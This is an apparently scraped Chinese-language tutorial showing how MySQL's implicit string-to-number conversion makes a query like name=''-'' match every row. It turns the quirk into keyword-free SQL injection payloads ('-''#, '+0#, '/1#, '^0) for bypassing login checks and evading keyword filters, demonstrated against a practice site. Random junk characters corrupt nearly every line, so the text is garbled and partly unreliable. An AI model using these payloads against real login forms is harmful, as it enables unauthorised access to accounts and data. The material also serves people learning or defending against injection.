我们先来看这样一个场景。0 |, g& [9 O" u" I& h6 `. I4 o" k
有以下表结构: 4 t( ~5 S- e* N& i
' v3 I% _0 m/ _& l2 B- Y
mysql> desc admin;
0 ?/ h3 {3 [9 Q+----------+--------------+------+-----+---------+----------------+& ~3 ^6 Y9 C9 J/ u: r
| Field | Type | Null | Key | Default | Extra |
3 w- l) z2 G1 v4 f+----------+--------------+------+-----+---------+----------------+
3 j* C# c+ G& ?& W5 D: ]| id | mediumint(9) | NO | PRI | NULL | auto_increment |
$ w! K* v' u6 s| name | char(32) | NO | UNI | NULL | |
1 w( p& t! C3 V+ M. }| password | char(32) | NO | UNI | NULL | |1 A( I+ ?; S- v+ n
+----------+--------------+------+-----+---------+----------------+
/ T' ]0 _/ l+ C3 rows in set (0.00 sec), C1 L: H. e1 S5 a& l( b
执行select * from admin;,成功返回所有记录内容。
! N1 f- x3 e# s. _+ Q" ]. V5 `( }3 l+ F+ i% U
+ u/ X9 i( f3 H/ l9 k! l
+----+--------+----------------------------------+
' P" x4 t5 R- M& x8 u- V5 W| id | name | password |
) W5 B' r+ ~) `& c' }+----+--------+----------------------------------+
; k; @$ m% ~& n5 {: {| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |' H4 ]' T5 C3 Z4 L! t! M+ U
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
, \; U' D$ {, V0 ~, H| 4 | n00b | ff80e8508d39047460921792273533a4 |
" r9 f' D0 z+ b' T8 d& q+----+--------+----------------------------------+
4 x" S$ f, Z8 q1 H2 ]- w% ]3 l3 rows in set (0.00 sec); c5 ]4 T8 ?1 X2 C% H
执行select * from admin where name=”;,没有匹配到任何记录。
e7 H3 L6 y( \7 D2 m
( w, J- g" V' h5 X, Cmysql> select * from admin where name = '';
3 d: b; ^# s1 b) Y" WEmpty set (0.00 sec)
: e" N( q9 n# P* F1 f; d那么我们来执行select * from admin where name = ”-”;/ w4 M/ q3 _/ _0 \0 V4 g3 ?0 Z3 D
( h9 Y8 G& X8 Z( e; D+ K2 \/ Y! R' n2 o
+----+--------+----------------------------------+2 B+ p/ x$ k, k9 s! C
| id | name | password |+ h, e8 l$ P# z: z% F
+----+--------+----------------------------------+
# h X8 m; n4 w2 r- G" l& T6 b| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |% a0 [: v P4 w5 ]2 u: \/ S) B, i# O
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |. y1 [: }$ r% f3 w
| 4 | n00b | ff80e8508d39047460921792273533a4 |/ Z7 L7 m3 A# Q
+----+--------+----------------------------------+
7 a8 ~: h5 M$ T- }5 R4 [3 rows in set, 3 warnings (0.00 sec)8 e7 K2 \9 m6 | T- M
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
3 e$ N6 |# X; M- V
5 c: _& r' R9 A8 W! q5 k, Kmysql> show warnings;/ @9 m$ N v: K5 Z) U- s0 Y
+---------+------+------------------------------------------
, x: E3 I! {1 X1 L) F x| Level | Code | Message5 E' l0 a R' I7 c
+---------+------+------------------------------------------
$ B$ H$ @ K4 A! P4 W| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin! t4 ], V3 Y& y! w6 \( T/ g
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
, [! M) ?3 _' S" P| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
6 R0 w) n2 k. G+---------+------+------------------------------------------5 A: u: X9 Q e# y, M& d
3 rows in set (0.00 sec)# d) }* I4 N) [. I
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 " `( |) L! P6 S( B. |% P
* r5 c, d* C6 t* G# K* ?7 f* I2 t
mysql> select ''-'';
6 i3 X, a2 S6 e9 p+ P3 D: M+-------++ Z/ @0 {% v& T
| ''-'' |' `6 x8 z; W0 B; y' G
+-------+
0 e9 T# P7 @. u5 z6 a$ @9 Y, w| 0 |1 l, Y7 L6 b) U/ r
+-------+% _' T; [! m" Y' B) ]& ]( d
1 row in set (0.00 sec)
& H- p8 O" S8 Y" V4 L返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
7 L+ P$ G. C% A" Y( W/ \( |1 Q p# P/ q$ S
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
: w* v/ O! k1 n$ T/ \& Q* `+-----------------------------------------------------+, x2 ?# } W" t. H
| CAST((select name from admin limit 1,1) as DECIMAL) |
& p5 e4 b" q1 F7 |" y. F7 A+-----------------------------------------------------+4 z( E2 V4 t/ I4 h
| 0 |
9 b1 O- j. L! ^+-----------------------------------------------------+
9 G6 Y6 [; C" b8 s) \* b1 row in set, 1 warning (0.00 sec)) f: p, Q; ?( s* @9 ?7 n- ]
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
. {& Z6 A( v- A: g0 A( b" S" R! l6 O4 q @& C
SQL注入场景: http://www.sqlzoo.net/hack/
% C( q9 v2 p( U7 R" K i0 Z0 B1 D& ^: Q3 Y
3 W+ Z( A& _2 t" X- z. Q) ~" C3 u9 T7 p1 J8 A0 g) M
$ H, P5 \" Q: H; w( T$ j
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 3 w& D) E3 T$ j, Z; B
; {/ ^/ a" ^6 w* S
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ! c+ x6 Q+ X) M& ~' n$ n
) f: H4 v' ?9 f9 Z) {7 H
7 p6 Z; f l9 g# i: r! s3 R$ u
$ _+ R6 q% q) z0 K+ W
* l7 f3 v5 \' _9 a7 q仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 4 ?+ T3 ~. x" M
, e6 g2 W4 h1 z' |9 K! R. q
% z( i& b2 D" x& W7 p
( e( {: g) X1 u+ ?除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可* l' _7 h( {2 L: d' x, [3 c: D, o# [
5 ^2 V* y Z) Q T# ?9 K- X
3 S8 D+ D$ w7 H1 [$ b& Amysql> select ''/1;
* p/ D4 T9 P. _8 [* S9 W- \+------++ b& L* O& `3 e# `, k g5 \
| ''/1 |
, ?# K! ~2 U- s1 o8 }+------+1 g0 ?0 r) R1 @7 N% {
| 0 |. ?; t6 S* e$ b* U1 V. B$ G9 ?
+------+, b, I6 X' f; v) `6 y
1 row in set (0.00 sec)
. R2 z+ q/ K0 d1 v o% G) P类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
; b9 c! t% F8 P5 I/ \! S( W4 Y2 l7 ~6 h4 h& H
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
0 S5 K K7 ?7 r0 C |
|